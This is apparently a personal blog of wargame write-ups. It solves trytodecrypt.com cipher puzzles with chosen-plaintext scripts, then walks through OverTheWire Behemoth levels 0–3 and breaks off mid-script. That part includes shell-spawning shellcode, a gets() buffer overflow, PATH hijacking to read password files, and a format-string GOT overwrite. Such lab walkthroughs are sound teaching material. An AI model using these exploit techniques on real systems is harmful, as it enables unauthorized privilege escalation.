Hello Navi

Tech, Security & Personal Notes

Here's something encrypted, password is required to continue reading.
Read more »

Here's something encrypted, password is required to continue reading.
Read more »

tryptodecrypt.com

Hard 级别的密钥嵌入在密文结构本身。

Text 13

59656A6B6F9F656A67746767

首字节 0x59 (89) 为全局 key。后续每字节减 key 得 charset 位置。

1
2
3
4
5
def decode_text13(ct):
"""首字节为全局 key"""
key = int(ct[:2], 16)
data = [int(ct[i:i+2], 16) for i in range(2, len(ct), 2)]
return "".join(C[b - key] for b in data)
chim cheree

Text 14

6F5657A6606B7D9C7480649D7A6B757D9C70816B6CB4

前 3 字节 [0x6F, 0x56, 0x57] 为旋转 key。后续每字节依次减去对应 key。

1
2
3
4
5
def decode_text14(ct):
"""前 3 字节为旋转 key"""
keys = [int(ct[i:i+2], 16) for i in range(0, 6, 2)]
data = [int(ct[i:i+2], 16) for i in range(6, len(ct), 2)]
return "".join(C[data[i] - keys[i % 3]] for i in range(len(data)))
Take the blue pill!

Text 15

574168755997984F7A7E76AD6954A662538F764F7A5C4F876544

前 6 位 hex 是三个 2 位子密钥 (57, 41, 68)。子密钥交替加密后续字符(密钥 1 加密第 4/7/10...个字符)。字符加密 = 子密钥 + 字符专用偏移量。

第一层:静态替换表

每个字符硬编码一个唯一的偏移量,跟字符集索引无关:

1
2
3
a→0x27  b→0x0b  c→0x41  d→0x45  e→0x0e ...
A→0x1e B→0x13
空格→0x12 句号→0x03

这就是个查表替换,只不过替换结果不是另外一个字符,是一个数字。

第二层:类维吉尼亚加密

拿替换后的数字,加上循环密钥(57→41→68→57→…),得到最终密文:

1
2
3
4
5
A  → 查表得 0x1e  → +密钥 0x57 → 0x75
l → 查表得 0x18 → +密钥 0x41 → 0x59
i → 查表得 0x2f → +密钥 0x68 → 0x97
c → 查表得 0x41 → +密钥 0x57 → 0x98
...

加密工具虽然每请求随机化(Hard 特性),但是同一个字符在同一个位置的加密结果每次都一样。所以:

  1. 加密 "aaaaaa" → 看密文的重复规律,发现每 3 个字节一个周期 → 密钥长度 3
  2. 加密 "aaaaaaaaaaaa" → 同一位置加密 "a" 多次 → 确认 "a" 的密文总是 0x7e(当密钥=0x57时)
  3. 加密 "ba"、"ca"、"da"… → 算出每个字符的偏移量
  4. 密钥值本身:从密文前 6 位直接读出来的(这就是为什么说密钥嵌在密文结构里)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CHAR_OFF = {
'a': 0x27, 'b': 0x0b, 'c': 0x41, 'd': 0x45, 'e': 0x0e,
'f': 0x10, 'g': 0x11, 'h': 0x05, 'i': 0x2f, 'j': 0x1c,
'k': 0x16, 'l': 0x18, 'm': 0x04, 'n': 0x35, 'o': 0x3e,
'p': 0x37, 'q': 0x1d, 'r': 0x1f, 's': 0x15, 't': 0x21,
'u': 0x1a, 'v': 0x23, 'w': 0x00, 'x': 0x0c, 'y': 0x3b,
'z': 0x30, '.': 0x03, ' ': 0x12, 'A': 0x1e, 'B': 0x13,
}
# 反转: 偏移 -> char
OFF_CHAR = {v: k for k, v in CHAR_OFF.items()}

def decode_text15(ct):
"""前 6 hex 为 3 子密钥, data - key[i%3] 得偏移查表"""
keys = [int(ct[i:i+2], 16) for i in range(0, 6, 2)]
data = [int(ct[i:i+2], 16) for i in range(6, len(ct), 2)]
plain = ""
for i, d in enumerate(data):
off = d - keys[i % 3]
plain += OFF_CHAR.get(off, "?")
return plain
Alice and Bob are here.

Text 16

32632E3149844B82115794BA78AD87C36DA01148707080C65459255C2C6487B02851

每 4 位 hex 一组(2 位偏移 + 2 位编码字符)。编码字符 - 偏移 = 字符集索引。

编码:0=00, 1=01, ..., 9=09, a=0A, ..., z=23, A=24, ..., Z=3D, space=46, fullstop=40。

1
2
3
4
5
6
7
8
9
def decode_text16(ct):
"""4-hex 一组 (2偏移 + 2编码)"""
pt = ""
for i in range(0, len(ct), 4):
off = int(ct[i:i+2], 16)
enc = int(ct[i+2:i+4], 16)
cp = enc - off
pt += C[cp] if 0 <= cp < len(C) else "?"
return pt
N3XT CRYPT0 5TUFF

Text 17

5D2EAF346C9271B7489BBA3A52326752248C2255826771378D741E48205A

密文前半为密钥,后半为编码数据。密钥 - 编码数据 = 字符集索引。

1
2
3
4
5
6
7
def decode_text17(ct, reverse=False):
"""前半 key 后半数据, key - 数据"""
half = len(ct) // 2
keys = [int(ct[i:i+2], 16) for i in range(0, half, 2)]
data = [int(ct[i:i+2], 16) for i in range(half, len(ct), 2)]
pt = "".join(C[keys[i] - data[i]] for i in range(len(data)))
return pt[::-1] if reverse else pt
bazinga he said

Text 18

35445FA0D18F47618981AE5D3A98A5138EAE2A303A5D688B6C4461703B902F308F5F125F7725

与 Text 17 相同算法,但明文在加密前被反转了。

1
2
3
def decode_text18(ct):
"""同 Text 17 但结果反转"""
return decode_text17(ct, reverse=True)
5TL1 9aKu p03z U2a5

tryptodecrypt.com

字符集 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?!(71 个字符)。

Text 7

21052F151200271512413E35101A152F3511

固定 2-hex 替换表(步长 2)。

same script as easy level

1
2
3
❯ python decrypt_cipher.py 7 2
密文: 21052F151200271512413E35101A152F3511
******************
this was confusing

Text 8

eaidagdagenpmgodlceijmgoefodlceijcnllonmgodlcfilfgamgodnnflgfgafilmgofildihdagmgoefodlccnlcnledddagmgoedddagfobdagedd

3 字符一组的替换密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
import re
import subprocess
import sys

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def encrypt(text_id, text, cookie=""):
cmd = ["curl", "-s"]
if cookie:
cmd += ["-b", cookie]
cmd += [
f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
"-d",
f"text={text}&encrypt=Encrypt",
]
r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
# m = re.findall(r"panel-body[^>]>([0-9a-fA-F]+)</div>", r.stdout)
m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
return m[1] if len(m) >= 2 else None


def build_mapping(text_id, step, cookie=""):
mapping = {}
for i in range(0, len(C), 20): # 每次 20 字符,多数服务端限制 50
batch = C[i : i + 20]
enc = encrypt(text_id, batch, cookie)
if enc:
for j, ch in enumerate(batch):
mapping[enc[j * step : (j + 1) * step]] = ch
return mapping


def decode(ct, step, mapping):
return "".join(mapping.get(ct[i : i + step], "?") for i in range(0, len(ct), step))


if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <text_id> <step>")
sys.exit(1)

text_id = int(sys.argv[1])
step = int(sys.argv[2])

ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()

mapping = build_mapping(text_id, step)
if not mapping:
print("ERROR: 映射表为空,检查 text_id / step / 网络连接")
sys.exit(1)

print(decode(ct, step, mapping))
1
2
3
❯ python decrypt_cipher_alpha.py 8 3
密文: eaidagdagenpmgodlceijmgoefodlceijcnllonmgodlcfilfgamgodnnflgfgafilmgofildihdagmgoefodlccnlcnledddagmgoedddagfobdagedd
***************************************
keep in mind: its just the middle level

Text 9

6224F12C1C3FAA5AA54836B3C446D6415E74

反转输入后,每字符映射到固定 3-hex 码。解码时反向操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python3
import re
import subprocess
import sys

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def encrypt(text_id, text, cookie=""):
cmd = ["curl", "-s"]
if cookie:
cmd += ["-b", cookie]
cmd += [
f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
"-d",
f"text={text}&encrypt=Encrypt",
]
r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
return m[1] if len(m) >= 2 else None


def build_mapping(text_id, step, cookie=""):
mapping = {}
# 或者把加密块大小改成 1
for i in range(0, len(C), 20): # 每次 20 字符,多数服务端限制 50
batch = C[i : i + 20]
enc = encrypt(text_id, batch, cookie)
if enc:
for j, ch in enumerate(batch):
# mapping[enc[j * step : (j + 1) * step]] = ch
mapping[enc[-(j + 1) * step : len(enc) - j * step]] = ch
return mapping


def decode(ct, step, mapping):
return "".join(mapping.get(ct[i : i + step], "?") for i in range(0, len(ct), step))


if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"用法: {sys.argv[0]} <text_id> <step>")
sys.exit(1)

text_id = int(sys.argv[1])
step = int(sys.argv[2])

ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()

mapping = build_mapping(text_id, step)
if not mapping:
print("ERROR: 映射表为空,检查 text_id / step / 网络连接")
sys.exit(1)

print(decode(ct, step, mapping))
1
2
3
❯ echo "6224F12C1C3FAA5AA54836B3C446D6415E74" | python trytodecrypt_cipher_reverse.py 9 3 | rev

************
fireball 123

Text 10

261129152E152B

7 -> 9 单表替换 每个字符固定映射到一个密文块,不依赖位置

10 -> 12 多表替换 映射关系随位置变化(Vigenère 风格)

步长 2,偏移量 [16, 17, 18] 循环。enc = charset_pos + offset[pos % 3]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
#!/usr/bin/env python3
"""trytodecrypt CPA solver — 基于网站加密工具建映射表解码

三种模式:
simple 固定映射(Text 1-8)
reverse 先反转再加密(Text 9)
vigenere 逐位置映射(Text 10-12)
derive 自动推导公式,少量请求解码(Text 10-12 推荐)

用法:
python trytodecrypt_solve.py <text_id> [options]
echo '密文' | python trytodecrypt_solve.py <text_id> [options]

选项:
-s, --step 步长(默认 auto)
-r, --reverse 反转模式(Text 9)
-v, --vigenere Vigenere 模式(逐位置建表,请求多)
-d, --derive 推导模式(少量请求算公式,Text 10-12 推荐)
-c, --cookie PHPSESSID
-q, --quiet 静默模式
"""

import argparse
import re
import subprocess
import sys
import time

C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "


def eprint(*args, **kwargs):
print(*args, file=sys.stderr, **kwargs)


def encrypt(text_id, text, cookie="", retry=3):
for attempt in range(retry):
cmd = ["curl", "-s", "--max-time", "15", "--retry", "2"]
if cookie:
cmd += ["-b", cookie]
cmd += [
f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
"-d", f"text={text}&encrypt=Encrypt",
]
try:
r = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
m = re.findall(r"panel-body[^>]*>([0-9a-zA-Z]+)</div>", r.stdout)
if len(m) >= 2:
return m[1]
except subprocess.TimeoutExpired:
pass
if attempt < retry - 1:
time.sleep(1)
return None


def detect_step(text_id, cookie=""):
for step in [2, 3, 4]:
enc = encrypt(text_id, "0" * 10, cookie)
if enc and len(enc) == step * 10:
return step
enc = encrypt(text_id, "0", cookie)
if enc:
return len(enc)
return 2


def build_mapping_simple(text_id, step, cookie="", batch=20, reverse=False):
mapping = {}
for i in range(0, len(C), batch):
plain = C[i:i + batch]
enc = encrypt(text_id, plain, cookie)
if not enc:
continue
groups = [enc[j * step:(j + 1) * step] for j in range(len(plain))]
if reverse:
groups.reverse()
for j, ch in enumerate(plain):
mapping[groups[j]] = ch
return mapping


def build_mapping_vigenere(text_id, step, ct_len, cookie="", quiet=False):
mapping = [{} for _ in range(ct_len)]
total = ct_len * len(C)
done = 0
t0 = time.time()
for pos in range(ct_len):
prefix = "0" * pos
for ch in C:
plain = prefix + ch
enc = encrypt(text_id, plain, cookie)
if enc:
key = enc[pos * step:(pos + 1) * step]
mapping[pos][key] = ch
done += 1
if not quiet and done % 50 == 0:
elapsed = time.time() - t0
eprint(f" [{done}/{total}] {done/total*100:.0f}% eta {elapsed/done*(total-done):.0f}s")
if not quiet:
eprint(f" [{total}/{total}] 100% ({time.time()-t0:.0f}s)")
return mapping


def derive_vigenere(text_id, step, ct_len, cookie=""):
"""推导公式模式:少量请求算出 key,直接解码"""
# 加密 "0"*n 获取每个位置的基值
enc_zeros = encrypt(text_id, "0" * ct_len, cookie)
if not enc_zeros:
return None
bases = [int(enc_zeros[p * step:(p + 1) * step], 16) for p in range(ct_len)]

# 加密 "1"*n 获取梯子
enc_ones = encrypt(text_id, "1" * ct_len, cookie)
if enc_ones:
steps = [int(enc_ones[p * step:(p + 1) * step], 16) - bases[p] for p in range(ct_len)]
else:
steps = [0] * ct_len

return bases, steps


def decode_with_key(ct, step, bases, steps):
"""用推导出的 key 解码"""
pt = ""
for i in range(len(ct) // step):
val = int(ct[i * step:(i + 1) * step], 16)
# enc = base + cp * step
if steps[i] != 0:
cp = round((val - bases[i]) / steps[i])
else:
cp = val - bases[i]
if 0 <= cp < len(C):
pt += C[cp]
else:
pt += "?"
return pt


def decode_simple(ct, step, mapping):
return "".join(mapping.get(ct[i:i + step], "?") for i in range(0, len(ct), step))


def decode_vigenere(ct, step, mapping):
return "".join(
mapping[i].get(ct[i * step:(i + 1) * step], "?")
for i in range(len(mapping))
)


def main():
ap = argparse.ArgumentParser(description="trytodecrypt CPA solver")
ap.add_argument("text_id", type=int, help="题目 ID")
ap.add_argument("-s", "--step", type=int, default=0, help="步长(默认 auto)")
ap.add_argument("-r", "--reverse", action="store_true", help="反转模式(Text 9)")
ap.add_argument("-v", "--vigenere", action="store_true", help="Vigenere 模式(逐位置建表)")
ap.add_argument("-d", "--derive", action="store_true", help="推导模式(少量请求算公式)")
ap.add_argument("-c", "--cookie", default="", help="PHPSESSID")
ap.add_argument("-q", "--quiet", action="store_true", help="静默模式")
ap.add_argument("--batch", type=int, default=20, help="每批字符数(默认 20,simple 专用)")
args = ap.parse_args()

ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()
if not ct:
eprint("ERROR: 未提供密文")
sys.exit(1)

step = args.step or detect_step(args.text_id, args.cookie)
if not args.quiet:
eprint(f"[*] 步长: {step}")

if args.derive:
ct_len = len(ct) // step
if not args.quiet:
eprint(f"[*] 推导模式: {ct_len} 个位置")
result = derive_vigenere(args.text_id, step, ct_len, args.cookie)
if result is None:
eprint("ERROR: 推导失败")
sys.exit(1)
bases, steps = result
if not args.quiet:
eprint(f"[*] bases: {bases}")
eprint(f"[*] steps: {steps}")
print(decode_with_key(ct, step, bases, steps))

elif args.vigenere:
ct_len = len(ct) // step
if not args.quiet:
eprint(f"[*] Vigenere: {ct_len} × {len(C)} = {ct_len * len(C)} 次请求")
mapping = build_mapping_vigenere(args.text_id, step, ct_len, args.cookie, args.quiet)
if not mapping[0]:
eprint("ERROR: 映射表为空")
sys.exit(1)
print(decode_vigenere(ct, step, mapping))

else:
mode = "reverse" if args.reverse else "simple"
if not args.quiet:
eprint(f"[*] 模式: {mode}")
mapping = build_mapping_simple(args.text_id, step, args.cookie, args.batch, args.reverse)
if not mapping:
eprint("ERROR: 映射表为空")
sys.exit(1)
print(decode_simple(ct, step, mapping))


if __name__ == "__main__":
main()
1
2
3
4
5
6
7
❯ python trytodecrypt_solve.py -v 10 -c "8rubc5nmtqala9gvdj8t7cigqn" -s 2 -d
密文: 261129152E152B
[*] 步长: 2
[*] 推导模式: 7 个位置
[*] bases: [16, 17, 18, 16, 17, 18, 16]
[*] steps: [1, 1, 1, 1, 1, 1, 1]
*******
m0n5t3r

Text 11

3785824AD56B2531A7150DF44C21434A61E63F040A42F2012BC2F43F0AD535D24D46013213866D7E0

步长 3 hex,6 位循环。基值 [168, 282, 567, 57, 245, 180],乘数 [12, 47, 21, 19, 35, 9]。

密文值 = 基值[位置] + 字符位置 × 倍率[位置]

same as Text 10

1
2
3
4
5
6
7
❯ python trytodecrypt_solve.py -v 11 -c "8rubc5nmtqala9gvdj8t7cigqn" -s 3 -d
密文: 3785824AD56B2531A7150DF44C21434A61E63F040A42F2012BC2F43F0AD535D24D46013213866D7E0
[*] 步长: 3
[*] 推导模式: 27 个位置
[*] bases: [168, 282, 567, 57, 245, 180, 168, 282, 567, 57, 245, 180, 168, 282, 567, 57, 245, 180, 168, 282, 567, 57, 245, 180, 168, 282, 567]
[*] steps: [12, 47, 21, 19, 35, 9, 12, 47, 21, 19, 35, 9, 12, 47, 21, 19, 35, 9, 12, 47, 21, 19, 35, 9, 12, 47, 21]
***************************
You are very good. Respect!

Text 12

00D02703603C0450461340870A50B50EA10A0BD133

基值为三角数 T(pos+1) = (pos+1)(pos+2)/2,步长 (pos+2)/2。

1
2
3
4
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
ct = "00D02703603C0450461340870A50B50EA10A0BD133"
vals = [int(ct[i*3:(i+1)*3], 16) for i in range(14)]
print("".join(C[round((v - (i+1)*(i+2)//2) / ((i+2)/2))] for i, v in enumerate(vals)))
cookie monster

tryptodecrypt.com

字符集 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?!(71 个字符)。

easy 都是简单替换密码。

网站给一个加密工具,输入明文返回密文。脚本就利用这个 oracle 做 Chosen-Plaintext Attack。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import subprocess, re, sys
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "

def encrypt(text_id, text, cookie=""):
cmd = ["curl", "-s"]
if cookie:
cmd += ["-b", cookie]
cmd += [f"https://www.trytodecrypt.com/decrypt.php?id={text_id}",
"-d", f"text={text}&encrypt=Encrypt"]
r = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
m = re.findall(r"panel-body[^>]*>([0-9a-fA-F]+)</div>", r.stdout)
return m[1] if len(m) >= 2 else None

def build_mapping(text_id, step, cookie=""):
mapping = {}
for i in range(0, len(C), 20):
batch = C[i:i+20]
enc = encrypt(text_id, batch, cookie)
if enc:
for j, ch in enumerate(batch):
mapping[enc[j*step:(j+1)*step]] = ch
return mapping

def decode(ct, step, mapping):
return "".join(mapping.get(ct[i:i+step], "?") for i in range(0, len(ct), step))

if __name__ == "__main__":
text_id, step = int(sys.argv[1]), int(sys.argv[2])
ct = sys.stdin.read().strip() if not sys.stdin.isatty() else input("密文: ").strip()
mapping = build_mapping(text_id, step)
print(decode(ct, step, mapping))

Text 1

131017171A48221A1D170F

偏移 2。

1
2
3
4
5
6
7
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
OFF = 2
def dec(s):
r = []
for i in range(0, len(s), 2):
r.append(C[int(s[i:i+2], 16) - OFF])
return "".join(r)
hello world

Text 2

4A3E374A4973483F3D3E4A

偏移 42(ASCII 表偏移)。

1
2
3
4
5
6
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
def dec(s, OFF=42):
r = []
for i in range(0, len(s), 2):
r.append(C[int(s[i:i+2], 16) - OFF])
return "".join(r)
thats right

Text 3

0A0B1339150B1139070A0B13390510

偏移 -13(58 mod 71)。hex 值小于 13 时直接减会负索引,需要 % 71。

1
2
3
4
5
6
C = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! "
def dec(s, OFF=-13):
r = []
for i in range(0, len(s), 2):
r.append(C[(int(s[i:i+2], 16) - OFF) % len(C)])
return "".join(r)
now you know it

Text 4

0C02D8010D0C02D8010606D8101402FCD80F0603D8FC0600DA

enc = (30 - charset_pos) % 256

1
2
3
$ python script.py 4 2
密文: 0C02D8010D0C02D8010606D8101402FCD80F0603D8FC0600DA
****
is this too easy for you?

Text 5

90DE633F425148DE51546CDE725466DE3F2A6936DE4263CCDEAB362A3372DE39545DDE633F36DE51366F63DE545136D8

enc = charset_pos * 3 + 12

1
2
3
$ python script.py 5 2
密文: 90DE633F425148DE51546CDE725466DE3F2A6936DE4263CCDEAB362A3372DE39545DDE633F36DE51366F63DE545136D8
************************************************
I think now you have it. Ready for the next one?

Text 6

4D586CFC2DB449D47B0CF99C3BC46CFC7B0C

固定 4-hex 替换表。

1
2
3
$ python script.py 6 4
密文: 4D586CFC2DB449D47B0CF99C3BC46CFC7B0C
*********
lucky guy

behemoth

behemoth.labs.overthewire.org 2221

level 0 → level 1

1
2
3
4
5
6
SSH Information
Host: behemoth.labs.overthewire.org
Port: 2221
User: behemoth0
Passwords: /etc/behemoth_pass/
Binaries: /behemoth/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
behemoth0@behemoth:~$ ls -la /behemoth/
total 136
drwxr-xr-x 2 root root 4096 Apr 3 15:18 .
drwxr-xr-x 31 root root 4096 May 16 18:30 ..
-r-sr-x--- 1 behemoth1 behemoth0 11700 Apr 3 15:17 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 11304 Apr 3 15:17 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 15128 Apr 3 15:17 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 11352 Apr 3 15:18 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 15124 Apr 3 15:18 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 15408 Apr 3 15:18 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 15148 Apr 3 15:18 behemoth6
-r-xr-x--- 1 behemoth7 behemoth6 14928 Apr 3 15:18 behemoth6_reader
-r-sr-x--- 1 behemoth8 behemoth7 11476 Apr 3 15:18 behemoth7

behemoth0@behemoth:~$ ls -la /etc/behemoth_pass/
total 52
drwxr-xr-x 2 root root 4096 Apr 3 15:17 .
drwxr-xr-x 128 root root 12288 May 10 08:58 ..
-r-------- 1 behemoth0 behemoth0 10 Apr 3 15:17 behemoth0
-r-------- 1 behemoth1 behemoth1 11 Apr 3 15:17 behemoth1
-r-------- 1 behemoth2 behemoth2 11 Apr 3 15:17 behemoth2
-r-------- 1 behemoth3 behemoth3 11 Apr 3 15:17 behemoth3
-r-------- 1 behemoth4 behemoth4 11 Apr 3 15:17 behemoth4
-r-------- 1 behemoth5 behemoth5 11 Apr 3 15:17 behemoth5
-r-------- 1 behemoth6 behemoth6 11 Apr 3 15:17 behemoth6
-r-------- 1 behemoth7 behemoth7 11 Apr 3 15:17 behemoth7
-r-------- 1 behemoth8 behemoth8 11 Apr 3 15:17 behemoth8

Behemoth is a binary exploitation wargame with 9 levels (0-8). Focuses on real-world vulnerabilities commonly found in the wild: buffer overflows, format strings, race conditions, and privilege escalation.

Tools: gdb/pwndbg, objdump, strings, ltrace, strace, python3/pwntools, pattern_offset.rb, nasm, Ghidra.

1
2
behemoth0@behemoth:~$ /behemoth/behemoth0
Password:

The binary compares input against a hardcoded password encrypted with memfrob() (XOR with 42). Use strings, ltrace, or set a breakpoint at memfrob() in gdb to find the plaintext.

1
2
3
4
behemoth0@behemoth:~$ ltrace /behemoth/behemoth0
Password: test
strlen("OK^GSYBEX^Y") = 11
strcmp("test", "eatmyshorts") = -1

The password is revealed by ltrace: eatmyshorts. Enter it to get a shell as behemoth1.

1
2
3
4
5
6
7
behemoth0@behemoth:~$ /behemoth/behemoth0
Password: eatmyshorts
Access granted..
$ whoami
behemoth1
$ cat /etc/behemoth_pass/behemoth1
**********
[credential redacted]

level 1 → level 2

Level 1: Stack-based buffer overflow. The binary uses gets() with no bounds checking. Exploit with ret2shellcode (NX disabled).

Finding EIP offset

Use pwntools cyclic pattern:

1
2
3
4
5
6
7
8
9
10
11
12
13
behemoth1@behemoth:/tmp/behemoth1$ python3 -c "
from pwn import *
import sys
sys.stdout.buffer.write(cyclic(200, n=4))
" > pattern.txt

behemoth1@behemoth:/tmp/behemoth1$ gdb -q -nx -batch \
-ex "set pagination off" \
-ex "set disable-randomization on" \
-ex "run < pattern.txt" \
-ex "info registers eip" \
/behemoth/behemoth1
# EIP = 0x61617361
1
2
3
from pwn import *
eip = 0x61617361
offset = cyclic_find(p32(eip), n=4) # → 71

Payload

The binary doesn't zero environment variables, so store shellcode in EGG env var. Use /tmp/behemoth1/getenv (pre-compiled, source below) to find its address:

1
2
3
4
5
6
7
8
9
10
behemoth1@behemoth:/tmp/behemoth1$ export EGG=$(python3 -c "
import sys
from pwn import *
context.arch = 'i386'
sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')
sys.stdout.buffer.write(b'\\x90'*50 + sc)
")

behemoth1@behemoth:/tmp/behemoth1$ ./getenv EGG /behemoth/behemoth1
EGG is at 0xffffde6c

Exploit with the env address:

1
2
3
4
5
6
7
8
behemoth1@behemoth:/tmp/behemoth1$ (python3 -c "
from pwn import *
context.arch = 'i386'
print('A' * 71 + p32(0xffffde6c).decode('latin-1'))
"; cat) | /behemoth/behemoth1
$ whoami
behemoth2
$ cat /etc/behemoth_pass/behemoth2
[credential redacted]

level 2 → level 3

Level 2: PATH hijacking. The binary calls system("touch <pid>") without an absolute path. It also calls system("cat <filename>") after sleeping for 2000 seconds.

Create a fake touch executable in /tmp that cats the password, then modify PATH:

1
2
3
4
5
6
behemoth2@behemoth:/tmp$ echo '#!/bin/bash' > touch
behemoth2@behemoth:/tmp$ echo 'cat /etc/behemoth_pass/behemoth3' >> touch
behemoth2@behemoth:/tmp$ chmod +x touch
behemoth2@behemoth:/tmp$ export PATH=.:$PATH
behemoth2@behemoth:/tmp$ /behemoth/behemoth2
# password printed immediately

Alternative symlink approach: create a symlink named after the PID pointing to the password file before cat runs (within the 2000 second window).

[credential redacted]

level 3 → level 4

Level 3: Format string vulnerability. The binary calls printf(user_input) directly — the format string is user-controlled. Use %n to overwrite puts@GOT and redirect execution to shellcode.

Finding the format string offset

1
2
3
behemoth3@behemoth:/behemoth$ /behemoth/behemoth3
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.41414141.42424242.2e78252e.252e7825...

Our input (AAAABBBB) appears at positions 1 and 2 on the format string stack (0x41414141, 0x42424242). This means the first 8 bytes of our input are directly addressable via %1$hn and %2$hn.

Binary properties

1
2
3
4
5
from pwn import *
e = ELF("/behemoth/behemoth3")
# PIE: False, No canary, No RELRO
# puts@GOT = 0x0804b218 (NOT the old 0x080497ac)
# Stack: Executable (no GNU_STACK header)

Exploit strategy

  1. Store shellcode in an environment variable EGG
  2. Find EGG address using /tmp/behemoth1/getenv (pre-compiled, source below)
  3. Overwrite puts@GOT with the EGG address using %hn writes

Shellcode in environment

1
2
3
4
5
6
7
8
9
10
behemoth3@behemoth:/tmp/behemoth3$ export EGG=$(python3 -c "
import sys
from pwn import *
context.arch = 'i386'
sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')
sys.stdout.buffer.write(b'\\x90'*50 + sc)
")

behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG /behemoth/behemoth3
EGG is at 0xffffde6e

The returned address shifts with argv length. To keep it stable, pad argv[0] when running the binary to match the getenv call length:

1
2
3
behemoth3@behemoth:/tmp/behemoth3$ ARGV0=$(python3 -c "print('/behemoth/behemoth3' + ' ' * 40)")
behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG "$ARGV0"
# same argv length → stable address

Format string calculation

puts@GOT = 0x0804b218. The EGG address has two 16-bit halves: - low = egg_addr & 0xffff - high = (egg_addr >> 16) & 0xffff

Payload structure:

1
2
[puts@GOT addr (4B)] [puts@GOT+2 (4B)] [fmt specifiers] [newline]
↑ arg 1 for %1$hn ↑ arg 2 for %2$hn

The first 8 bytes are printed as literal output, then %<val1>c pads to reach low, then %<val2>c pads further to reach high:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = "i386"

puts_got = 0x0804b218
egg_addr = 0xffffde6e # from getenv, adjust per session

low = egg_addr & 0xffff
high = (egg_addr >> 16) & 0xffff

val1 = low - 8
val2 = high - low

payload = p32(puts_got) + p32(puts_got + 2)
payload += f"%{val1}c%1$hn%{val2}c%2$hn".encode()

Run

1
2
3
4
5
6
7
8
9
10
11
12
behemoth3@behemoth:/tmp/behemoth3$ python3 -c "
from pwn import *
context.arch = 'i386'
puts_got = 0x0804b218
egg_addr = 0xffffde6e # from getenv
low = egg_addr & 0xffff
high = (egg_addr >> 16) & 0xffff
val1 = low - 8
val2 = high - low
import sys
